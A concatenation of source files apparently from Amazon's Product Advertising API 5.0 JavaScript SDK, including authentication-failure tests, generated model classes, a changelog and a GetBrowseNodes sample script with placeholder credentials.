defaultClient.secretKey = DUMMY_SECRET_KEY;
defaultClient.host = HOST;
defaultClient.region = DUMMY_REGION;
instance.getItems(getItemsRequest).then(
{},
function(error) {
expect(error['status']).to.be(401);
expect(JSON.parse(error['response']['text'])['Errors'][0]['Code']).to.be(INVALID_SIGNATURE);
done();
}
);
});
it('PA-API 5.0 call should fail with UnrecognizedClient error when GetItems request has dummy credentials', function(done) {
var getItemsRequest = new ProductAdvertisingAPIv1.GetItemsRequest();
var defaultClient = ProductAdvertisingAPIv1.ApiClient.instance;
defaultClient.accessKey = DUMMY_ACCESS_KEY;
defaultClient.secretKey = DUMMY_SECRET_KEY;
defaultClient.host = HOST;
defaultClient.region = REGION;
instance.getItems(getItemsRequest).then(
{},
function(error) {
expect(error['status']).to.be(401);
expect(JSON.parse(error['response']['text'])['Errors'][0]['Code']).to.be(UNRECOGNIZED_CLIENT);
done();
}
);
});
});
describe('getVariations', function() {
it('should throw error if GetVariationsRequest is not provided', function(done) {
try {
instance.getVariations();
} catch (e) {
expect(e).to.be.a(Error);
expect(e.message).to.be('Missing the required parameter \'getVariationsRequest\' when calling getVariations');
done();
}
});
it('PA-API 5.0 call should fail with InvalidSignature error when GetVariations request has invalid region', function(done) {
var getVariationsRequest = new ProductAdvertisingAPIv1.GetVariationsRequest();
var defaultClient = ProductAdvertisingAPIv1.ApiClient.instance;
defaultClient.accessKey = DUMMY_ACCESS_KEY;
defaultClient.secretKey = DUMMY_SECRET_KEY;
defaultClient.host = HOST;
defaultClient.region = DUMMY_REGION;
instance.getVariations(getVariationsRequest).then(
{},
function(error) {
expect(error['status']).to.be(401);
expect(JSON.parse(error['response']['text'])['Errors'][0]['Code']).to.be(INVALID_SIGNATURE);
done();
}
);
});
it('PA-API 5.0 call should fail with UnrecognizedClient error when GetVariations request has dummy credentials', function(done) {
var getVariationsRequest = new ProductAdvertisingAPIv1.GetVariationsRequest();
var defaultClient = ProductAdvertisingAPIv1.ApiClient.instance;
defaultClient.accessKey = DUMMY_ACCESS_KEY;
defaultClient.secretKey = DUMMY_SECRET_KEY;
defaultClient.host = HOST;
defaultClient.region = REGION;
instance.getVariations(getVariationsRequest).then(
{},
function(error) {
expect(error['status']).to.be(401);
expect(JSON.parse(error['response']['text'])['Errors'][0]['Code']).to.be(UNRECOGNIZED_CLIENT);
done();
}
);
});
});
describe('searchItems', function() {
it('should throw error if SearchItemsRequest is not provided', function(done) {
try {
instance.searchItems();
} catch (e) {
expect(e).to.be.a(Error);
expect(e.message).to.be('Missing the required parameter \'searchItemsRequest\' when calling searchItems');
done();
}
});
it('PA-API 5.0 call should fail with InvalidSignature error when SearchItems request has invalid region', function(done) {
var searchItemsRequest = new ProductAdvertisingAPIv1.SearchItemsRequest();
var defaultClient = ProductAdvertisingAPIv1.ApiClient.instance;
defaultClient.accessKey = DUMMY_ACCESS_KEY;
defaultClient.secretKey = DUMMY_SECRET_KEY;
defaultClient.host = HOST;
defaultClient.region = DUMMY_REGION;
instance.searchItems(searchItemsRequest).then(
{},
function(error) {
expect(error['status']).to.be(401);
expect(JSON.parse(error['response']['text'])['Errors'][0]['Code']).to.be(INVALID_SIGNATURE);
done();
}
);
});
it('PA-API 5.0 call should fail with UnrecognizedClient error when SearchItems request has dummy credentials', function(done) {
var searchItemsRequest = new ProductAdvertisingAPIv1.SearchItemsRequest();
var defaultClient = ProductAdvertisingAPIv1.ApiClient.instance;
defaultClient.accessKey = DUMMY_ACCESS_KEY;
defaultClient.secretKey = DUMMY_SECRET_KEY;
defaultClient.host = HOST;
defaultClient.region = REGION;
instance.searchItems(searchItemsRequest).then(
{},
function(error) {
expect(error['status']).to.be(401);
expect(JSON.parse(error['response']['text'])['Errors'][0]['Code']).to.be(UNRECOGNIZED_CLIENT);
done();
}
);
});
});
});
}));
<file_sep>/SDK/src/model/ProductInfo.js
/**
* Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/**
* ProductAdvertisingAPI
* https://webservices.amazon.com/paapi5/documentation/index.html
*
*/
(function(root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['ApiClient', 'model/DimensionBasedAttribute', 'model/SingleBooleanValuedAttribute', 'model/SingleIntegerValuedAttribute', 'model/SingleStringValuedAttribute'], factory);
} else if (typeof module === 'object' && module.exports) {
// CommonJS-like environments that support module.exports, like Node.
module.exports = factory(require('../ApiClient'), require('./DimensionBasedAttribute'), require('./SingleBooleanValuedAttribute'), require('./SingleIntegerValuedAttribute'), require('./SingleStringValuedAttribute'));
} else {
// Browser globals (root is window)
if (!root.ProductAdvertisingAPIv1) {
root.ProductAdvertisingAPIv1 = {};
}
root.ProductAdvertisingAPIv1.ProductInfo = factory(root.ProductAdvertisingAPIv1.ApiClient, root.ProductAdvertisingAPIv1.DimensionBasedAttribute, root.ProductAdvertisingAPIv1.SingleBooleanValuedAttribute, root.ProductAdvertisingAPIv1.SingleIntegerValuedAttribute, root.ProductAdvertisingAPIv1.SingleStringValuedAttribute);
}
}(this, function(ApiClient, DimensionBasedAttribute, SingleBooleanValuedAttribute, SingleIntegerValuedAttribute, SingleStringValuedAttribute) {
'use strict';
/**
* The ProductInfo model module.
* @module model/ProductInfo
* @version 1.0.0
*/
/**
* Constructs a new <code>ProductInfo</code>.
* @alias module:model/ProductInfo
* @class
*/
var exports = function() {
var _this = this;
};
/**
* Constructs a <code>ProductInfo</code> from a plain JavaScript object, optionally creating a new instance.
* Copies all relevant properties from <code>data</code> to <code>obj</code> if supplied or a new instance if not.
* @param {Object} data The plain JavaScript object bearing properties of interest.
* @param {module:model/ProductInfo} obj Optional instance to populate.
* @return {module:model/ProductInfo} The populated <code>ProductInfo</code> instance.
*/
exports.constructFromObject = function(data, obj) {
if (data) {
obj = obj || new exports();
if (data.hasOwnProperty('Color')) {
obj['Color'] = SingleStringValuedAttribute.constructFromObject(data['Color']);
}
if (data.hasOwnProperty('IsAdultProduct')) {
obj['IsAdultProduct'] = SingleBooleanValuedAttribute.constructFromObject(data['IsAdultProduct']);
}
if (data.hasOwnProperty('ItemDimensions')) {
obj['ItemDimensions'] = DimensionBasedAttribute.constructFromObject(data['ItemDimensions']);
}
if (data.hasOwnProperty('ReleaseDate')) {
obj['ReleaseDate'] = SingleStringValuedAttribute.constructFromObject(data['ReleaseDate']);
}
if (data.hasOwnProperty('Size')) {
obj['Size'] = SingleStringValuedAttribute.constructFromObject(data['Size']);
}
if (data.hasOwnProperty('UnitCount')) {
obj['UnitCount'] = SingleIntegerValuedAttribute.constructFromObject(data['UnitCount']);
}
}
return obj;
}
/**
* @member {module:model/SingleStringValuedAttribute} Color
*/
exports.prototype['Color'] = undefined;
/**
* @member {module:model/SingleBooleanValuedAttribute} IsAdultProduct
*/
exports.prototype['IsAdultProduct'] = undefined;
/**
* @member {module:model/DimensionBasedAttribute} ItemDimensions
*/
exports.prototype['ItemDimensions'] = undefined;
/**
* @member {module:model/SingleStringValuedAttribute} ReleaseDate
*/
exports.prototype['ReleaseDate'] = undefined;
/**
* @member {module:model/SingleStringValuedAttribute} Size
*/
exports.prototype['Size'] = undefined;
/**
* @member {module:model/SingleIntegerValuedAttribute} UnitCount
*/
exports.prototype['UnitCount'] = undefined;
return exports;
}));
<file_sep>/SDK/src/model/SearchItemsResource.js
/**
* Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/**
* ProductAdvertisingAPI
* https://webservices.amazon.com/paapi5/documentation/index.html
*
*/
(function(root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['ApiClient'], factory);
} else if (typeof module === 'object' && module.exports) {
// CommonJS-like environments that support module.exports, like Node.
module.exports = factory(require('../ApiClient'));
} else {
// Browser globals (root is window)
if (!root.ProductAdvertisingAPIv1) {
root.ProductAdvertisingAPIv1 = {};
}
root.ProductAdvertisingAPIv1.SearchItemsResource = factory(root.ProductAdvertisingAPIv1.ApiClient);
}
}(this, function(ApiClient) {
'use strict';
/**
* Enum class SearchItemsResource.
* @enum {}
* @readonly
*/
var exports = {
/**
* value: "BrowseNodeInfo.BrowseNodes"
* @const
*/
"BrowseNodeInfo.BrowseNodes": "BrowseNodeInfo.BrowseNodes",
/**
* value: "BrowseNodeInfo.BrowseNodes.Ancestor"
* @const
*/
"BrowseNodeInfo.BrowseNodes.Ancestor": "BrowseNodeInfo.BrowseNodes.Ancestor",
/**
* value: "BrowseNodeInfo.BrowseNodes.SalesRank"
* @const
*/
"BrowseNodeInfo.BrowseNodes.SalesRank": "BrowseNodeInfo.BrowseNodes.SalesRank",
/**
* value: "BrowseNodeInfo.WebsiteSalesRank"
* @const
*/
"BrowseNodeInfo.WebsiteSalesRank": "BrowseNodeInfo.WebsiteSalesRank",
/**
* value: "CustomerReviews.Count"
* @const
*/
"CustomerReviews.Count": "CustomerReviews.Count",
/**
* value: "CustomerReviews.StarRating"
* @const
*/
"CustomerReviews.StarRating": "CustomerReviews.StarRating",
/**
* value: "Images.Primary.Small"
* @const
*/
"Images.Primary.Small": "Images.Primary.Small",
/**
* value: "Images.Primary.Medium"
* @const
*/
"Images.Primary.Medium": "Images.Primary.Medium",
/**
* value: "Images.Primary.Large"
* @const
*/
"Images.Primary.Large": "Images.Primary.Large",
/**
* value: "Images.Variants.Small"
* @const
*/
"Images.Variants.Small": "Images.Variants.Small",
/**
* value: "Images.Variants.Medium"
* @const
*/
"Images.Variants.Medium": "Images.Variants.Medium",
/**
* value: "Images.Variants.Large"
* @const
*/
"Images.Variants.Large": "Images.Variants.Large",
/**
* value: "ItemInfo.ByLineInfo"
* @const
*/
"ItemInfo.ByLineInfo": "ItemInfo.ByLineInfo",
/**
* value: "ItemInfo.ContentInfo"
* @const
*/
"ItemInfo.ContentInfo": "ItemInfo.ContentInfo",
/**
* value: "ItemInfo.ContentRating"
* @const
*/
"ItemInfo.ContentRating": "ItemInfo.ContentRating",
/**
* value: "ItemInfo.Classifications"
* @const
*/
"ItemInfo.Classifications": "ItemInfo.Classifications",
/**
* value: "ItemInfo.ExternalIds"
* @const
*/
"ItemInfo.ExternalIds": "ItemInfo.ExternalIds",
/**
* value: "ItemInfo.Features"
* @const
*/
"ItemInfo.Features": "ItemInfo.Features",
/**
* value: "ItemInfo.ManufactureInfo"
* @const
*/
"ItemInfo.ManufactureInfo": "ItemInfo.ManufactureInfo",
/**
* value: "ItemInfo.ProductInfo"
* @const
*/
"ItemInfo.ProductInfo": "ItemInfo.ProductInfo",
/**
* value: "ItemInfo.TechnicalInfo"
* @const
*/
"ItemInfo.TechnicalInfo": "ItemInfo.TechnicalInfo",
/**
* value: "ItemInfo.Title"
* @const
*/
"ItemInfo.Title": "ItemInfo.Title",
/**
* value: "ItemInfo.TradeInInfo"
* @const
*/
"ItemInfo.TradeInInfo": "ItemInfo.TradeInInfo",
/**
* value: "Offers.Listings.Availability.MaxOrderQuantity"
* @const
*/
"Offers.Listings.Availability.MaxOrderQuantity": "Offers.Listings.Availability.MaxOrderQuantity",
/**
* value: "Offers.Listings.Availability.Message"
* @const
*/
"Offers.Listings.Availability.Message": "Offers.Listings.Availability.Message",
/**
* value: "Offers.Listings.Availability.MinOrderQuantity"
* @const
*/
"Offers.Listings.Availability.MinOrderQuantity": "Offers.Listings.Availability.MinOrderQuantity",
/**
* value: "Offers.Listings.Availability.Type"
* @const
*/
"Offers.Listings.Availability.Type": "Offers.Listings.Availability.Type",
/**
* value: "Offers.Listings.Condition"
* @const
*/
"Offers.Listings.Condition": "Offers.Listings.Condition",
/**
* value: "Offers.Listings.Condition.ConditionNote"
* @const
*/
"Offers.Listings.Condition.ConditionNote": "Offers.Listings.Condition.ConditionNote",
/**
* value: "Offers.Listings.Condition.SubCondition"
* @const
*/
"Offers.Listings.Condition.SubCondition": "Offers.Listings.Condition.SubCondition",
/**
* value: "Offers.Listings.DeliveryInfo.IsAmazonFulfilled"
* @const
*/
"Offers.Listings.DeliveryInfo.IsAmazonFulfilled": "Offers.Listings.DeliveryInfo.IsAmazonFulfilled",
/**
* value: "Offers.Listings.DeliveryInfo.IsFreeShippingEligible"
* @const
*/
"Offers.Listings.DeliveryInfo.IsFreeShippingEligible": "Offers.Listings.DeliveryInfo.IsFreeShippingEligible",
/**
* value: "Offers.Listings.DeliveryInfo.IsPrimeEligible"
* @const
*/
"Offers.Listings.DeliveryInfo.IsPrimeEligible": "Offers.Listings.DeliveryInfo.IsPrimeEligible",
/**
* value: "Offers.Listings.DeliveryInfo.ShippingCharges"
* @const
*/
"Offers.Listings.DeliveryInfo.ShippingCharges": "Offers.Listings.DeliveryInfo.ShippingCharges",
/**
* value: "Offers.Listings.IsBuyBoxWinner"
* @const
*/
"Offers.Listings.IsBuyBoxWinner": "Offers.Listings.IsBuyBoxWinner",
/**
* value: "Offers.Listings.LoyaltyPoints.Points"
* @const
*/
"Offers.Listings.LoyaltyPoints.Points": "Offers.Listings.LoyaltyPoints.Points",
/**
* value: "Offers.Listings.MerchantInfo"
* @const
*/
"Offers.Listings.MerchantInfo": "Offers.Listings.MerchantInfo",
/**
* value: "Offers.Listings.Price"
* @const
*/
"Offers.Listings.Price": "Offers.Listings.Price",
/**
* value: "Offers.Listings.ProgramEligibility.IsPrimeExclusive"
* @const
*/
"Offers.Listings.ProgramEligibility.IsPrimeExclusive": "Offers.Listings.ProgramEligibility.IsPrimeExclusive",
/**
* value: "Offers.Listings.ProgramEligibility.IsPrimePantry"
* @const
*/
"Offers.Listings.ProgramEligibility.IsPrimePantry": "Offers.Listings.ProgramEligibility.IsPrimePantry",
/**
* value: "Offers.Listings.Promotions"
* @const
*/
"Offers.Listings.Promotions": "Offers.Listings.Promotions",
/**
* value: "Offers.Listings.SavingBasis"
* @const
*/
"Offers.Listings.SavingBasis": "Offers.Listings.SavingBasis",
/**
* value: "Offers.Summaries.HighestPrice"
* @const
*/
"Offers.Summaries.HighestPrice": "Offers.Summaries.HighestPrice",
/**
* value: "Offers.Summaries.LowestPrice"
* @const
*/
"Offers.Summaries.LowestPrice": "Offers.Summaries.LowestPrice",
/**
* value: "Offers.Summaries.OfferCount"
* @const
*/
"Offers.Summaries.OfferCount": "Offers.Summaries.OfferCount",
/**
* value: "ParentASIN"
* @const
*/
"ParentASIN": "ParentASIN",
/**
* value: "RentalOffers.Listings.Availability.MaxOrderQuantity"
* @const
*/
"RentalOffers.Listings.Availability.MaxOrderQuantity": "RentalOffers.Listings.Availability.MaxOrderQuantity",
/**
* value: "RentalOffers.Listings.Availability.Message"
* @const
*/
"RentalOffers.Listings.Availability.Message": "RentalOffers.Listings.Availability.Message",
/**
* value: "RentalOffers.Listings.Availability.MinOrderQuantity"
* @const
*/
"RentalOffers.Listings.Availability.MinOrderQuantity": "RentalOffers.Listings.Availability.MinOrderQuantity",
/**
* value: "RentalOffers.Listings.Availability.Type"
* @const
*/
"RentalOffers.Listings.Availability.Type": "RentalOffers.Listings.Availability.Type",
/**
* value: "RentalOffers.Listings.BasePrice"
* @const
*/
"RentalOffers.Listings.BasePrice": "RentalOffers.Listings.BasePrice",
/**
* value: "RentalOffers.Listings.Condition"
* @const
*/
"RentalOffers.Listings.Condition": "RentalOffers.Listings.Condition",
/**
* value: "RentalOffers.Listings.Condition.ConditionNote"
* @const
*/
"RentalOffers.Listings.Condition.ConditionNote": "RentalOffers.Listings.Condition.ConditionNote",
/**
* value: "RentalOffers.Listings.Condition.SubCondition"
* @const
*/
"RentalOffers.Listings.Condition.SubCondition": "RentalOffers.Listings.Condition.SubCondition",
/**
* value: "RentalOffers.Listings.DeliveryInfo.IsAmazonFulfilled"
* @const
*/
"RentalOffers.Listings.DeliveryInfo.IsAmazonFulfilled": "RentalOffers.Listings.DeliveryInfo.IsAmazonFulfilled",
/**
* value: "RentalOffers.Listings.DeliveryInfo.IsFreeShippingEligible"
* @const
*/
"RentalOffers.Listings.DeliveryInfo.IsFreeShippingEligible": "RentalOffers.Listings.DeliveryInfo.IsFreeShippingEligible",
/**
* value: "RentalOffers.Listings.DeliveryInfo.IsPrimeEligible"
* @const
*/
"RentalOffers.Listings.DeliveryInfo.IsPrimeEligible": "RentalOffers.Listings.DeliveryInfo.IsPrimeEligible",
/**
* value: "RentalOffers.Listings.DeliveryInfo.ShippingCharges"
* @const
*/
"RentalOffers.Listings.DeliveryInfo.ShippingCharges": "RentalOffers.Listings.DeliveryInfo.ShippingCharges",
/**
* value: "RentalOffers.Listings.MerchantInfo"
* @const
*/
"RentalOffers.Listings.MerchantInfo": "RentalOffers.Listings.MerchantInfo",
/**
* value: "SearchRefinements"
* @const
*/
"SearchRefinements": "SearchRefinements" };
/**
* Returns a <code>SearchItemsResource</code> enum value from a Javascript object name.
* @param {Object} data The plain JavaScript object containing the name of the enum value.
* @return {module:model/SearchItemsResource} The enum <code>SearchItemsResource</code> value.
*/
exports.constructFromObject = function(object) {
return object;
}
return exports;
}));
<file_sep>/SDK/src/model/GetItemsRequest.js
/**
* Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/**
* ProductAdvertisingAPI
* https://webservices.amazon.com/paapi5/documentation/index.html
*
*/
(function(root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['ApiClient', 'model/Condition', 'model/GetItemsResource', 'model/ItemIdType', 'model/Merchant', 'model/OfferCount', 'model/PartnerType', 'model/Properties'], factory);
} else if (typeof module === 'object' && module.exports) {
// CommonJS-like environments that support module.exports, like Node.
module.exports = factory(require('../ApiClient'), require('./Condition'), require('./GetItemsResource'), require('./ItemIdType'), require('./Merchant'), require('./OfferCount'), require('./PartnerType'), require('./Properties'));
} else {
// Browser globals (root is window)
if (!root.ProductAdvertisingAPIv1) {
root.ProductAdvertisingAPIv1 = {};
}
root.ProductAdvertisingAPIv1.GetItemsRequest = factory(root.ProductAdvertisingAPIv1.ApiClient, root.ProductAdvertisingAPIv1.Condition, root.ProductAdvertisingAPIv1.GetItemsResource, root.ProductAdvertisingAPIv1.ItemIdType, root.ProductAdvertisingAPIv1.Merchant, root.ProductAdvertisingAPIv1.OfferCount, root.ProductAdvertisingAPIv1.PartnerType, root.ProductAdvertisingAPIv1.Properties);
}
}(this, function(ApiClient, Condition, GetItemsResource, ItemIdType, Merchant, OfferCount, PartnerType, Properties) {
'use strict';
/**
* The GetItemsRequest model module.
* @module model/GetItemsRequest
* @version 1.0.0
*/
/**
* Constructs a new <code>GetItemsRequest</code>.
* @alias module:model/GetItemsRequest
* @class
* @param itemIds {Array.<String>}
* @param partnerTag {String}
* @param partnerType {module:model/PartnerType}
*/
var exports = function(itemIds, partnerTag, partnerType) {
var _this = this;
_this['ItemIds'] = itemIds;
_this['PartnerTag'] = partnerTag;
_this['PartnerType'] = partnerType;
};
/**
* Constructs a <code>GetItemsRequest</code> from a plain JavaScript object, optionally creating a new instance.
* Copies all relevant properties from <code>data</code> to <code>obj</code> if supplied or a new instance if not.
* @param {Object} data The plain JavaScript object bearing properties of interest.
* @param {module:model/GetItemsRequest} obj Optional instance to populate.
* @return {module:model/GetItemsRequest} The populated <code>GetItemsRequest</code> instance.
*/
exports.constructFromObject = function(data, obj) {
if (data) {
obj = obj || new exports();
if (data.hasOwnProperty('Condition')) {
obj['Condition'] = Condition.constructFromObject(data['Condition']);
}
if (data.hasOwnProperty('CurrencyOfPreference')) {
obj['CurrencyOfPreference'] = ApiClient.convertToType(data['CurrencyOfPreference'], 'String');
}
if (data.hasOwnProperty('ItemIds')) {
obj['ItemIds'] = ApiClient.convertToType(data['ItemIds'], ['String']);
}
if (data.hasOwnProperty('ItemIdType')) {
obj['ItemIdType'] = ItemIdType.constructFromObject(data['ItemIdType']);
}
if (data.hasOwnProperty('LanguagesOfPreference')) {
obj['LanguagesOfPreference'] = ApiClient.convertToType(data['LanguagesOfPreference'], ['String']);
}
if (data.hasOwnProperty('Marketplace')) {
obj['Marketplace'] = ApiClient.convertToType(data['Marketplace'], 'String');
}
if (data.hasOwnProperty('Merchant')) {
obj['Merchant'] = Merchant.constructFromObject(data['Merchant']);
}
if (data.hasOwnProperty('OfferCount')) {
obj['OfferCount'] = OfferCount.constructFromObject(data['OfferCount']);
}
if (data.hasOwnProperty('PartnerTag')) {
obj['PartnerTag'] = ApiClient.convertToType(data['PartnerTag'], 'String');
}
if (data.hasOwnProperty('PartnerType')) {
obj['PartnerType'] = PartnerType.constructFromObject(data['PartnerType']);
}
if (data.hasOwnProperty('Properties')) {
obj['Properties'] = Properties.constructFromObject(data['Properties']);
}
if (data.hasOwnProperty('Resources')) {
obj['Resources'] = ApiClient.convertToType(data['Resources'], [GetItemsResource]);
}
}
return obj;
}
/**
* @member {module:model/Condition} Condition
*/
exports.prototype['Condition'] = undefined;
/**
* @member {String} CurrencyOfPreference
*/
exports.prototype['CurrencyOfPreference'] = undefined;
/**
* @member {Array.<String>} ItemIds
*/
exports.prototype['ItemIds'] = undefined;
/**
* @member {module:model/ItemIdType} ItemIdType
*/
exports.prototype['ItemIdType'] = undefined;
/**
* @member {Array.<String>} LanguagesOfPreference
*/
exports.prototype['LanguagesOfPreference'] = undefined;
/**
* @member {String} Marketplace
*/
exports.prototype['Marketplace'] = undefined;
/**
* @member {module:model/Merchant} Merchant
*/
exports.prototype['Merchant'] = undefined;
/**
* @member {module:model/OfferCount} OfferCount
*/
exports.prototype['OfferCount'] = undefined;
/**
* @member {String} PartnerTag
*/
exports.prototype['PartnerTag'] = undefined;
/**
* @member {module:model/PartnerType} PartnerType
*/
exports.prototype['PartnerType'] = undefined;
/**
* @member {module:model/Properties} Properties
*/
exports.prototype['Properties'] = undefined;
/**
* @member {Array.<module:model/GetItemsResource>} Resources
*/
exports.prototype['Resources'] = undefined;
return exports;
}));
<file_sep>/CHANGELOG.md
## Change Log
1.0.7 August 30, 2022
- Add querystring module from main package.json. legacy dependency used by the SDK.
1.0.6 June 01, 2021
- Update sample code typo
1.0.5 March 07, 2021
- Update marketplace list. Added Poland and Sweden
1.0.4 March 07, 2021
- Updated documentation to avoid confusion with the Marketplace value when someone tried to add Host and Region.
- SDK Update.
1.0.3 October 14, 2020
- Patch to revert back support module.exports for require
1.0.2 September 26, 2020
- Add Saudi Arabia marketplace info
1.0.1 May 01, 2020
- Update to support typscript defaul export
1.0.0 March 20, 2020
- Initial release
<file_sep>/SDK/src/model/PartnerType.js
/**
* Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/**
* ProductAdvertisingAPI
* https://webservices.amazon.com/paapi5/documentation/index.html
*
*/
(function(root, factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['ApiClient'], factory);
} else if (typeof module === 'object' && module.exports) {
// CommonJS-like environments that support module.exports, like Node.
module.exports = factory(require('../ApiClient'));
} else {
// Browser globals (root is window)
if (!root.ProductAdvertisingAPIv1) {
root.ProductAdvertisingAPIv1 = {};
}
root.ProductAdvertisingAPIv1.PartnerType = factory(root.ProductAdvertisingAPIv1.ApiClient);
}
}(this, function(ApiClient) {
'use strict';
/**
* Enum class PartnerType.
* @enum {}
* @readonly
*/
var exports = {
/**
* value: "Associates"
* @const
*/
"Associates": "Associates" };
/**
* Returns a <code>PartnerType</code> enum value from a Javascript object name.
* @param {Object} data The plain JavaScript object containing the name of the enum value.
* @return {module:model/PartnerType} The enum <code>PartnerType</code> value.
*/
exports.constructFromObject = function(object) {
return object;
}
return exports;
}));
<file_sep>/SDK/sampleGetBrowseNodesApi.js
/**
* Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
// Run `npm install` locally before executing following code with `node sampleGetBrowseNodesApi.js`
/**
* This sample code snippet is for ProductAdvertisingAPI 5.0's GetBrowseNodes API
* For more details, refer:
* https://webservices.amazon.com/paapi5/documentation/getbrowsenodes.html
*/
var ProductAdvertisingAPIv1 = require('./src/index');
var defaultClient = ProductAdvertisingAPIv1.ApiClient.instance;
// Specify your credentials here. These are used to create and sign the request.
defaultClient.accessKey = '<YOUR ACCESS KEY>';
defaultClient.secretKey = '<YOUR SECRET KEY>';
/**
* PAAPI Host and Region to which you want to send request.
* For more details refer: https://webservices.amazon.com/paapi5/documentation/common-request-parameters.html#host-and-region
*/
defaultClient.host = 'webservices.amazon.com';
defaultClient.region = 'us-east-1';
var api = new ProductAdvertisingAPIv1.DefaultApi();
// Request Initialization
var getBrowseNodesRequest = new ProductAdvertisingAPIv1.GetBrowseNodesRequest();
/** Enter your partner tag (store/tracking id) and partner type */
getBrowseNodesRequest['PartnerTag'] = '<YOUR PARTNER TAG>';
getBrowseNodesRequest['PartnerType'] = 'Associates';
/** Specify browse node id(s) */
getBrowseNodesRequest['BrowseNodeIds'] = ['3040', '0', '3045'];
/** Specify the item count to be returned in search result */
/**
* Specify the language code in which you want the information to be returned.
* For more information and valid values for each locale, refer https://webservices.amazon.com/paapi5/documentation/locale-reference.html
*/
getBrowseNodesRequest['LanguagesOfPreference'] = ['es_US'];
/**
* Choose resources you want from GetBrowseNodesResource enum
* For more details, refer: https://webservices.amazon.com/paapi5/documentation/getbrowsenodes.html#resources-parameter
*/
getBrowseNodesRequest['Resources'] = ['BrowseNodes.Ancestor', 'BrowseNodes.Children'];
/**
* Function to parse GetBrowseNodesResponse into an object with key as BrowseNodeId
*/
function parseResponse(browseNodesResponseList) {
var mappedResponse = {};
for (var i in browseNodesResponseList) {
if (browseNodesResponseList.hasOwnProperty(i)) {
mappedResponse[browseNodesResponseList[i]['Id']] = browseNodesResponseList[i];
}
}
return mappedResponse;
}
function onSuccess(data) {
console.log('API called successfully.');
var getBrowseNodesResponse = ProductAdvertisingAPIv1.GetBrowseNodesResponse.constructFromObject(data);
console.log('Complete Response: \n' + JSON.stringify(getBrowseNodesResponse, null, 1));
if (getBrowseNodesResponse['BrowseNodesResult'] !== undefined) {
console.log('Printing all browse node information in BrowseNodesResult:');
var response_list = parseResponse(getBrowseNodesResponse['BrowseNodesResult']['BrowseNodes']);
for (var i in getBrowseNodesRequest['BrowseNodeIds']) {
if (getBrowseNodesRequest['BrowseNodeIds'].hasOwnProperty(i)) {
var browseNodeId = getBrowseNodesRequest['BrowseNodeIds'][i];
console.log('\nPrinting information about the browse node with Id: ' + browseNodeId);
if (browseNodeId in response_list) {
var browseNode = response_list[browseNodeId];
if (browseNode !== undefined) {
if (browseNode['Id'] !== undefined) {
console.log('BrowseNode ID: ' + browseNode['Id']);
}
if (browseNode['DisplayName'] !== undefined) {
console.log('DisplayName: ' + browseNode['DisplayName']);
}
if (browseNode['ContextFreeName'] !== undefined) {
console.log('ContextFreeName: ' + browseNode['ContextFreeName']);
}
}
} else {
console.log('BrowseNode not found, check errors');
}
}
}
}
if (getBrowseNodesResponse['Errors'] !== undefined) {
console.log('\nErrors:');
console.log('Complete Error Response: ' + JSON.stringify(getBrowseNodesResponse['Errors'], null, 1));
console.log('Printing 1st Error:');
var error_0 = getBrowseNodesResponse['Errors'][0];
console.log('Error Code: ' + error_0['Code']);
console.log('Error Message: ' + error_0['Message']);
}
}
function onError(error) {
console.log('Error calling PA-API 5.0!');
console.log('Printing Full Error Object:\n' + JSON.stringify(error, null, 1));
console.log('Status Code: ' + error['status']);
if (error['response'] !== undefined && error['response']['text'] !== undefined) {
console.log('Error Object: ' + JSON.stringify(error['response']['text'], null, 1));
}
}
api.getBrowseNodes(getBrowseNodesRequest).then(
function(data) {
onSuccess(data);
},
function(error) {
onError(error);
}
);
<file_sep>/SDK/src/model/SearchItemsRequest.js
/**
* Copyright 2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/**
* ProductAdvertisingAPI
